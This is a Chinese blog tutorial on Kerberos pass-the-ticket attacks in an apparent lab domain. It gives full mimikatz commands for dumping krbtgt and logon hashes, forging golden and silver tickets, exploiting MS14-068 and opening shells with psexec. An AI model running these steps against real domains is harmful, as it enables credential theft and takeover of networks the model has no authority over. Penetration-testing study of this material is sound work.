横向移动 --> PTT(Kerberos)

2024-03-16 22:28
文章标签 移动 横向 kerberos ptt

本文主要是介绍横向移动 --> PTT(Kerberos),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

好不容易到了周末,终于有时间来写自己的东西了,那么就来讲一下PTT吧


目录

1.PTT(Past The Ticket)

2.Golden Ticket

1.Krbtgt的NTLM hash

 2.获取域的sid

3.查看要伪造的管理员

4.查看域控名字

5.查看并且清除票据

6.制造黄金票据

3.Sliver Ticket

1.获取服务用户的hash

2.域sid

3.查看并且清除票据

4.伪造白银票据

3.MS14-068

1."3011780"补丁 

2.获取域控的IP

3.域sid

4.漏洞攻击!!!


1.PTT(Past The Ticket)

票据传递攻击(PtT)是基于Kerberos认证的一种攻击方式,常用来做后渗透权限维持。

通过PTT,我们可以在横向移动的时候获得许多意想不到的效果

而PTT的手法一般可以分为以下三种

  1. 黄金票据
  2. 白银票据
  3. MS14-068

2.Golden Ticket

黄金票据,是最厉害的一张票,就是伪造了TGT和sessionkey ,但是前提得知道Krbtgt的ntlm hash  ,下面我们就来演示一下黄金票据

1.Krbtgt的NTLM hash

首先,也是最重要的就是拿下krbtgt的hash了

mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:god.org  /user:krbtgt "

可以看见是能拿到krbtgt的ntlm hash的 

 2.获取域的sid

敲上以下的命令

whoami \all

除了那个-1000  直接复制前面的数值就好了 

3.查看要伪造的管理员

net localgroup administrators 

 这条命令可以帮助我们查看域内的管理员,并且知道要伪造的人

4.查看域控名字

net user /domain

可以看见域控的名字叫做 owa 

kerberos::purge

5.查看并且清除票据

这个可以查看当前的票据信息

kerberos::list

 可以看见现在是liukaifeng01的这个账号的票据

那现在肯定是没有权限访问DC的c盘的的

然后清除一下票据

kerberos::purge

可以看见我们是没有了任何的票据

6.制造黄金票据

通过上面的大杂烩,我们就可以制造黄金票据了

kerberos::golden /admin:administrator /domain:god.org  /sid:s-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /ptt

来解释一下里面的参数

  1. golden 就是金票的意思
  2. /admin  指定要伪造的管理员的账号
  3. /domain  这个域的名字
  4. /sid  这个域的sid
  5. /krbtgt krbtgt的用户的hash
  6. /ptt  网上有一些版本是先生成票据,再写入内存,我就直接一步到位了!!

可以看见mimikatz就直接帮我们操作了

这时候我们去klist查看一下,可以看见我们的客户端就变成了administrator了,也即是成功的伪造了管理员的身份

这时候我们就能访问到DC的c盘了 

还是那句话,查看文件只是你的谎言,拿shell才是你的真相

那么就用psexec来横向一波

psexec.exe \\owa cmd.exe

 

成功getshll,下一步就是上线cs了,这个相信大家都很熟了,就不在赘述了

3.Sliver Ticket

白银票据,只能让我们去访问对应的服务,而且一旦服务器开启了pac拓展,那么银票就没用了

但是在这里还是来讲一下这张ST

1.获取服务用户的hash

这步直接在域控上跑就好

mimikatz.exe "privilege::debug"  "sekurlsa::logonpasswords" 

记录下对应的hash 

2.域sid

这个不用多说

whoami /all

3.查看并且清除票据

kerberos::list
kerberos::purge   //这两步都是在mimikatz中运行

4.伪造白银票据

mimikatz "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<用户名> /ptt" exit

然后后面的步骤大家伙都已经很熟悉了吧!!!

3.MS14-068

在开始之前,大家还记不记得我刚才说的防止白银票据的方法,就是启用PAC,像这样

但是,加了就无懈可击了嘛??? 那肯定不是!!!

还记得我们之前讲的MS14-068吗?总结一下漏洞原理

  1. 只要客户端指定任意签名算法,KDC服务器就会使用指定的算法进行签名验证,因此可以利用不需要相关密钥的算法,如MD5,实现内容的任意更改
  2. KDC允许用户在Kerberos过程中插入PAC

差不多是这样

知道了原理之后我们就可以来进行复现了

1."3011780"补丁 

先去看看有没有打补丁,否则一切白费

systeminfo | find  "3011780"

可以,开搞!!!!!

2.获取域控的IP

ping "域控名字"  

3.域sid

whoami /all 

4.漏洞攻击!!!

ms14-068.exe -u liukaifeng01@god.org -p hongrisec@2024 -s S-1-5-21-2952760202-1353902439-2381784089-1000  -d 192.168.52.138

还是来讲一下本机的参数

  1. -u 后面是本机的   用户名@域名
  2. -p  指的是本机的密码
  3. -s 完整的域sid
  4. -d 域控的ip

然后就可以拿到一张TGT啦

   

然后就可以将它写入内存!!

Kerberos:ptc TGT_liukaifeng01@god.org.ccache

其中PTC是(Pass the Certificate )证书传递攻击 

然后就可以看见我们的内存中多了一张这样的票

然后就可以横向移动了

psexec.exe \\owa cmd.exe

只不过返回的东西有点奇怪 

换一下编码

chcp 65001

这,也算好了一点了吧 


以上,就是PTT的三种常见攻击方法啦!!! 

这篇关于横向移动 --> PTT(Kerberos)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/816908

相关文章

我在移动打工的日志

客户:给我搞一下录音 我:不会。不在服务范围。 客户:是不想吧 我:笑嘻嘻(气笑) 客户:小姑娘明明会,却欺负老人 我:笑嘻嘻 客户:那我交话费 我:手机号 客户:给我搞录音 我:不会。不懂。没搞过。 客户:那我交话费 我:手机号。这是电信的啊!!我这是中国移动!! 客户:我不管,我要充话费,充话费是你们的 我:可是这是移动!!中国移动!! 客户:我这是手机号 我:那又如何,这是移动!你是电信!!

用Unity2D制作一个人物,实现移动、跳起、人物静止和动起来时的动画:中(人物移动、跳起、静止动作)

上回我们学到创建一个地形和一个人物,今天我们实现一下人物实现移动和跳起,依次点击,我们准备创建一个C#文件 创建好我们点击进去,就会跳转到我们的Vision Studio,然后输入这些代码 using UnityEngine;public class Move : MonoBehaviour // 定义一个名为Move的类,继承自MonoBehaviour{private Rigidbo

简单的角色响应鼠标而移动

actor类 //处理移动距离,核心是找到角色坐标在世界坐标的向量的投影(x,y,z),然后在世界坐标中合成,此CC是在地面行走,所以Y轴投影始终置为0; using UnityEngine; using System.Collections; public class actor : MonoBehaviour { public float speed=0.1f; CharacterCo

物联网之流水LED灯、正常流水灯、反复流水灯、移动流水灯

MENU 硬件电路设计软件程序设计正常流水LED灯反复流水LED灯移动流水LED灯 硬件电路设计 材料名称数量直插式LED1kΩ电阻杜邦线(跳线)若干面包板1 每一个LED的正极与开发板一个GPIO引脚相连,并串联一个电阻,负极接GND。 当然也可以选择只使用一个电阻。 软件程序设计 正常流水LED灯 因为要用到多个GPIO引脚,所以最好把所有的GPI

12C 新特性,MOVE DATAFILE 在线移动 包括system, 附带改名 NID ,cdb_data_files视图坏了

ALTER DATABASE MOVE DATAFILE  可以改名 可以move file,全部一个命令。 resue 可以重用,keep好像不生效!!! system照移动不误-------- SQL> select file_name, status, online_status from dba_data_files where tablespace_name='SYSTEM'

《C++中的移动构造函数与移动赋值运算符:解锁高效编程的最佳实践》

在 C++的编程世界中,移动构造函数和移动赋值运算符是提升程序性能和效率的重要工具。理解并正确运用它们,可以让我们的代码更加高效、简洁和优雅。 一、引言 随着现代软件系统的日益复杂和对性能要求的不断提高,C++程序员需要不断探索新的技术和方法来优化代码。移动构造函数和移动赋值运算符的出现,为解决资源管理和性能优化问题提供了有力的手段。它们允许我们在不进行不必要的复制操作的情况下,高效地转移资源

创建一个大的DIV,里面的包含两个DIV是可以自由移动

创建一个大的DIV,里面的包含两个DIV是可以自由移动 <body>         <div style="position: relative; background:#DDF8CF;line-height: 50px"> <div style="text-align: center; width: 100%;padding-top: 0px;"><h3>定&nbsp;位&nbsp;

C# 通过拖控件移动窗体

目录 引言一、通过控件事件移动窗体1、创建窗体界面2、添加控件事件3、添加代码 二、通过windowsAPI移动窗体1、 构建窗体和添加事件2、代码展示 引言 在C#Form窗体设计中,如果我们不需要使用默认边框设计自己个性化的窗体(FromBorderStyle=none时),这时候你会发现拖动窗体的功能就没有了,这里需要自己构建方法让用户可以拖动整个窗体,这里我们使用前辈的

网络层 VII(IP多播、移动IP)【★★★★★★】

一、IP 多播 1. 多播的概念 多播是让源主机一次发送的单个分组可以抵达用一个组地址标识的若干目的主机,即一对多的通信。在互联网上进行的多播,称为 IP 多播(multicast , 以前曾译为组播)。 与单播相比,在一对多的通信中,多播可大大节约网络资源。假设视频服务器向 90 台主机传送同样的视频节目,单播与多播的比较如下图所示。 下图(a)是视频服务器用单播方式向 90 台主机传

【自动驾驶】控制算法(八)横向控制Ⅱ | Carsim 与 Matlab 联合仿真基本操作

写在前面: 🌟 欢迎光临 清流君 的博客小天地,这里是我分享技术与心得的温馨角落。📝 个人主页:清流君_CSDN博客,期待与您一同探索 移动机器人 领域的无限可能。 🔍 本文系 清流君 原创之作,荣幸在CSDN首发🐒 若您觉得内容有价值,还请评论告知一声,以便更多人受益。 转载请注明出处,尊重原创,从我做起。 👍 点赞、评论、收藏,三连走一波,让我们一起养成好习惯😜 在这里,您将